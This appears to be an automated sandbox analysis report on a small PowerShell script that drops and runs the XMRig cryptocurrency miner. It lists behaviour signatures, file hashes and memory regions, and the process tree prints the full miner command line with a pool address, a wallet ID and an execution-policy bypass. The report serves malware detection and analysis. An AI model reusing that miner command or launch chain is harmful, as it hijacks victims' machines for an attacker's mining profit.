Resubmissions

27-05-2024 18:28

240527-w4c4xsdc7w 10

27-05-2024 18:28

240527-w4c4xsdc7v 10

27-05-2024 18:28

240527-w4cs6aed49 10

27-05-2024 18:28

240527-w4cs6aed48 10

27-05-2024 18:28

240527-w4cs6aed47 10

27-05-2024 18:28

240527-w4c4xsed52

Analysis

  • max time kernel
    1800s
  • max time network
    1802s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-05-2024 18:28

General

  • Target

    file01 - copia (5).ps1

  • Size

    510B

  • MD5

    2dcb4d51653aec1a829f3232d69f5e12

  • SHA1

    dd096e7d800b9f3ca0edc64955b4464d71789f80

  • SHA256

    d1902d3e519d0d87097fd8969280bd01bd139a5191faadaed0149e61b4a7495c

  • SHA512

    7def3731bbb3f7ac3895edcf14c645bbcc0608f09c6b03bf7ddaebf049f1f6f1aad4086548ab9fce7b2bbefd837de8377f8b81cf94022d84e35f1bba0af89143

Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 31 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\file01 - copia (5).ps1"
    1⤵
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3296
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
      "C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe" -a rx -o stratum+ssl://rx.unmineable.com:443 -u XMR:45aHvZ4X3ZvdhLiEiP1cjsXmSkMNoM2QFYNmXCsoTRY9h2EwjtoYcfrVpEojtmBeg5cRsY9J82Lqp6hUanQ1Dsu4UNfKxdF.unmineable_worker_vilqtiac -p x
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:5932
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3104 --field-trial-handle=2280,i,1836084024518340990,18250262151825427757,262144 --variations-seed-version /prefetch:8
    1⤵
      PID:3076
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3712 --field-trial-handle=2280,i,1836084024518340990,18250262151825427757,262144 --variations-seed-version /prefetch:8
      1⤵
        PID:1440

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_blonz4dz.fsi.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe

        Filesize

        9.1MB

        MD5

        205ad9eb6acd6f58752899669b69fe74

        SHA1

        bedb78ac5034259b86c2cbc915de2e861e8d7604

        SHA256

        2025f4fe930440da147eecd24a368d3a2f3c1883c499186eb429e9d662c90fda

        SHA512

        28309f453ae87e8db8c1667d8d8eee5f5f7035372c027afbec48aa3c798c53ade7cfcec0c9575cad2d108e033395ebde4fda6fcfff72c99944119f8fa91d91c3

      • memory/3296-0-0x00007FFD84573000-0x00007FFD84575000-memory.dmp

        Filesize

        8KB

      • memory/3296-1-0x0000018EFBA00000-0x0000018EFBA22000-memory.dmp

        Filesize

        136KB

      • memory/3296-11-0x00007FFD84570000-0x00007FFD85031000-memory.dmp

        Filesize

        10.8MB

      • memory/3296-12-0x00007FFD84570000-0x00007FFD85031000-memory.dmp

        Filesize

        10.8MB

      • memory/3296-13-0x00007FFD84570000-0x00007FFD85031000-memory.dmp

        Filesize

        10.8MB

      • memory/3296-15-0x0000018EFBF10000-0x0000018EFBF22000-memory.dmp

        Filesize

        72KB

      • memory/3296-16-0x0000018EFBD90000-0x0000018EFBD9A000-memory.dmp

        Filesize

        40KB

      • memory/3296-49-0x00007FFD84573000-0x00007FFD84575000-memory.dmp

        Filesize

        8KB

      • memory/3296-50-0x00007FFD84570000-0x00007FFD85031000-memory.dmp

        Filesize

        10.8MB

      • memory/5932-47-0x0000021EA5060000-0x0000021EA5080000-memory.dmp

        Filesize

        128KB

      • memory/5932-48-0x0000021EA51F0000-0x0000021EA5210000-memory.dmp

        Filesize

        128KB

      • memory/5932-51-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-52-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-53-0x0000021EA5210000-0x0000021EA5230000-memory.dmp

        Filesize

        128KB

      • memory/5932-54-0x0000021EA5230000-0x0000021EA5250000-memory.dmp

        Filesize

        128KB

      • memory/5932-55-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-56-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-57-0x0000021EA5210000-0x0000021EA5230000-memory.dmp

        Filesize

        128KB

      • memory/5932-58-0x0000021EA5230000-0x0000021EA5250000-memory.dmp

        Filesize

        128KB

      • memory/5932-59-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-60-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-61-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-62-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-63-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-64-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-65-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-66-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-67-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-68-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-69-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-70-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-71-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-72-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-73-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-74-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-75-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-76-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-77-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-78-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-79-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-80-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-81-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-82-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-83-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-84-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-85-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-86-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-87-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-88-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-89-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-90-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-91-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-92-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-93-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-94-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-95-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-96-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-97-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-98-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-99-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-100-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-101-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-102-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-103-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-104-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-105-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-106-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-107-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-108-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-109-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-110-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-111-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-112-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-113-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-114-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-115-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-116-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB

      • memory/5932-117-0x00007FF76F190000-0x00007FF76FDC3000-memory.dmp

        Filesize

        12.2MB